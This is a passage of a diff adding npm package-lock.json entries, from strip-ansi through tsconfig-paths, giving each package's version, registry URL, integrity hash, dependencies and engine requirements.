"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.10.tgz", + "integrity": "sha512-rGXbGmOEosIQi6Qva94HUjgPs9vKW+dkG7Y8Q5O2OYkWL6wFaTRZO8zM4mhP94uX55wgyrXzfS2aGtGzUL7EJQ==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "get-intrinsic": "^1.2.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.5", + "regexp.prototype.flags": "^1.5.0", + "set-function-name": "^2.0.0", + "side-channel": "^1.0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trim": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.8.tgz", + "integrity": "sha512-lfjY4HcixfQXOfaqCvcBuOIapyaroTXhbkfJN3gcB1OtyupngWK4sEET9Knd0cXd28kTUqu/kHoV4HKSJdnjiQ==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.7.tgz", + "integrity": "sha512-Ni79DqeB72ZFq1uH/L6zJ+DKZTkOtPIHovb3YZHQViE+HDouuU4mBrLOLDn5Dde3RF8qw5qVETEjhu9locMLvA==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.7.tgz", + "integrity": "sha512-NGhtDFu3jCEm7B4Fy0DpLewdJQOZcQ0rGbwQ/+stjnrp2i+rlKeCvos9hOIeCmqwratM47OBxY7uFZzjxHXmrg==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/stringify-object": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz", + "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", + "dependencies": { + "get-own-enumerable-property-symbols": "^3.0.0", + "is-obj": "^1.0.1", + "is-regexp": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-2.0.1.tgz", + "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==", + "engines": { + "node": ">=10" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dev": true, + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/style-loader": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.4.tgz", + "integrity": "sha512-0WqXzrsMTyb8yjZJHDqwmnwRJvhALK9LfRtRc6B4UTWe8AijYLZYZ9thuJTZc2VfQWINADW/j+LiJnfy2RoC1w==", + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/stylehacks": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.1.tgz", + "integrity": "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/sucrase": { + "version": "3.35.0", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.0.tgz", + "integrity": "sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "glob": "^10.3.10", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/sucrase/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/sucrase/node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/sucrase/node_modules/glob": { + "version": "10.3.10", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.3.10.tgz", + "integrity": "sha512-fa46+tv1Ak0UPK1TOy/pZrIybNNt4HCv7SDzwyfiOZkvZLEbjsZkJBPtDHVshZjbecAoAGSC20MjLDG/qr679g==", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^2.3.5", + "minimatch": "^9.0.1", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0", + "path-scurry": "^1.10.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/sucrase/node_modules/minimatch": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.3.tgz", + "integrity": "sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/supports-hyperlinks": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz", + "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==", + "dependencies": { + "has-flag": "^4.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-hyperlinks/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-hyperlinks/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/svg-parser": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz", + "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==" + }, + "node_modules/svgo": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.3.2.tgz", + "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==", + "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.", + "dependencies": { + "chalk": "^2.4.1", + "coa": "^2.0.2", + "css-select": "^2.0.0", + "css-select-base-adapter": "^0.1.1", + "css-tree": "1.0.0-alpha.37", + "csso": "^4.0.2", + "js-yaml": "^3.13.1", + "mkdirp": "~0.5.1", + "object.values": "^1.1.0", + "sax": "~1.2.4", + "stable": "^0.1.8", + "unquote": "~1.1.1", + "util.promisify": "~1.0.0" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/svgo/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/svgo/node_modules/css-select": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-2.1.0.tgz", + "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^3.2.1", + "domutils": "^1.7.0", + "nth-check": "^1.0.2" + } + }, + "node_modules/svgo/node_modules/css-what": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-3.4.2.tgz", + "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/svgo/node_modules/dom-serializer": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz", + "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==", + "dependencies": { + "domelementtype": "^2.0.1", + "entities": "^2.0.0" + } + }, + "node_modules/svgo/node_modules/domutils": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz", + "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==", + "dependencies": { + "dom-serializer": "0", + "domelementtype": "1" + } + }, + "node_modules/svgo/node_modules/domutils/node_modules/domelementtype": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz", + "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==" + }, + "node_modules/svgo/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/svgo/node_modules/nth-check": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz", + "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==", + "dependencies": { + "boolbase": "~1.0.0" + } + }, + "node_modules/svgo/node_modules/sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==" + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==" + }, + "node_modules/tailwindcss": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.1.tgz", + "integrity": "sha512-qAYmXRfk3ENzuPBakNK0SRrUDipP8NQnEY6772uDhflcQz5EhRdD7JNZxyrFHVQNCwULPBn6FNPp9brpO7ctcA==", + "dependencies": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.3.0", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.19.1", + "lilconfig": "^2.1.0", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.23", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.1", + "postcss-nested": "^6.0.1", + "postcss-selector-parser": "^6.0.11", + "resolve": "^1.22.2", + "sucrase": "^3.32.0" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tailwindcss/node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/temp-dir": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz", + "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/tempy": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tempy/-/tempy-0.6.0.tgz", + "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==", + "dependencies": { + "is-stream": "^2.0.0", + "temp-dir": "^2.0.0", + "type-fest": "^0.16.0", + "unique-string": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/tempy/node_modules/type-fest": { + "version": "0.16.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz", + "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/terminal-link": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz", + "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==", + "dependencies": { + "ansi-escapes": "^4.2.1", + "supports-hyperlinks": "^2.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/terser": { + "version": "5.27.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.27.1.tgz", + "integrity": "sha512-29wAr6UU/oQpnTw5HoadwjUZnFQXGdOfj0LjZ4sVxzqwHh/QVkvr7m8y9WoR4iN3FRitVduTc6KdjcW38Npsug==", + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.3.10", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz", + "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.20", + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.1", + "terser": "^5.26.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "node_modules/test-exclude": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==" + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/throat": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/throat/-/throat-6.0.2.tgz", + "integrity": "sha512-WKexMoJj3vEuK0yFEapj8y64V0A6xcuPuK9Gt1d0R+dzCSJc0lHqQytAbSB4cDAK0dWh4T0E2ETkoLE2WZ41OQ==" + }, + "node_modules/through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==", + "dev": true + }, + "node_modules/thunky": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==" + }, + "node_modules/tiny-invariant": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.1.tgz", + "integrity": "sha512-AD5ih2NlSssTCwsMznbvwMZpJ1cbhkGd2uueNxzv2jDlEeZdU04JQfRnggJQ8DrcVBGjAsCKwFBbDlVNtEMlzw==" + }, + "node_modules/tiny-warning": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz", + "integrity": "sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==" + }, + "node_modules/tmpl": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", + "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==" + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/tough-cookie": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz", + "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tough-cookie/node_modules/universalify": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/tr46": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz", + "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==", + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tryer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/tryer/-/tryer-1.0.1.tgz", + "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA==" + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==" + }, + "node_modules/tsconfig-paths": { + "version": "3.15.0", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz", + "integrity": 